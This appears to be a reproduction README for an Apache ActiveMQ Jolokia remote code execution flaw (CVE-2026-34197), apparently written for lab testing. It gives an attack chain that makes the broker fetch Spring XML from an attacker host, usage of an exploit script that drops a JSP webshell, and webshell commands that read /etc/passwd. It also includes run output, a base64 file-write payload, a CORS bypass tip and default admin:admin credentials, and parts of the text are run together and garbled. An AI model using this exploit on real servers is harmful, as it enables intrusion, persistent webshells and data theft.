
Apache ActiveMQ RCE via Jolokia vulnerability analysis and reproduction notes
| Item | Details |
|---|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (HIGH) |
| Vulnerability Type | Remote Code Execution (RCE) |
| CWE | CWE-20 Improper Input Validation / CWE-94 Code Injection |
| Affected Component | Apache ActiveMQ Classic - Jolokia JMX-HTTP Bridge |
| Affected Versions | < 5.19.4 and 6.0.0 through 6.2.2 |
| Fixed Versions | 5.19.4 / 6.2.3 |
| Disclosure Date | 2026-04-07 |
| Authentication | Required by default, commonly admin:admin. Versions 6.0.0-6.1.1 may be reachable without authentication when chained with CVE-2024-32114. |
| Discovery | Reported as AI-assisted research by Anthropic Claude, after being present for about 13 years. |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/, providing JMX-over-HTTP access.org.apache.activemq:* operations, including addNetworkConnector.brokerConfig parameter of the vm:// transport can point to remote Spring XML, and bean instantiation happens before the configuration is rejected.ActiveMQ 6.2.3 added validation inside addNetworkConnector() to reject vm:// transport URIs:
"error": "VM scheme is not allowed"
| Item | Details |
|---|---|
| Attacker Host | macOS with OrbStack Docker |
| Target Image | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| Runtime User | amq (uid=33031) |
| Base OS | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
A status: 200 response confirms that Jolokia is reachable.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
The script performs the following actions:
NetworkConnector named NC to make repeated testing reliable.addNetworkConnector request to trigger the vulnerable code path.curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| Version | Image | Jolokia Response | RCE |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | Successful as uid=0(root) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | Successful as uid=33031(amq) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | Fixed |
addNetworkConnector() registers a connector named NC. A second registration fails with a JMX naming conflict and returns a 500 error. The script handles this by calling removeNetworkConnector("NC") before triggering the exploit.
ActiveMQ uses embedded Jetty, but the webapps directory exists on disk and the JSP engine compiles newly written .jsp files. This makes webshell writing possible in the tested environment.
The payload writes the JSP using inline base64:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
Benefits:
<, >, %, and ".The target must be able to reach the attacker-controlled HTTP server to fetch the Spring XML payload. If the target has no outbound route to the attacker, this exploit path cannot complete.
Direct Jolokia requests may return 403 due to CORS checks. Include an Origin header that matches the target:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # This report
|-- exploit_webshell.py # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/ # File copy from dinosn/CVE-2026-34197
|-- docker-compose.yml # Lab environment for ActiveMQ 6.2.1
|-- exploit_poc.py # Original PoC script with serve/exploit/auto modes
`-- serve_payload.py # Simple payload HTTP server
| Script | Purpose | Outbound Requirement | Webshell |
|---|---|---|---|
exploit_poc.py | Original blind RCE PoC that runs an arbitrary command | Required | No |
exploit_webshell.py | One-shot reflected RCE through a written JSP webshell | Required only for the XML fetch | Automatically written with a random filename |
jetty.xml.admin:admin credentials.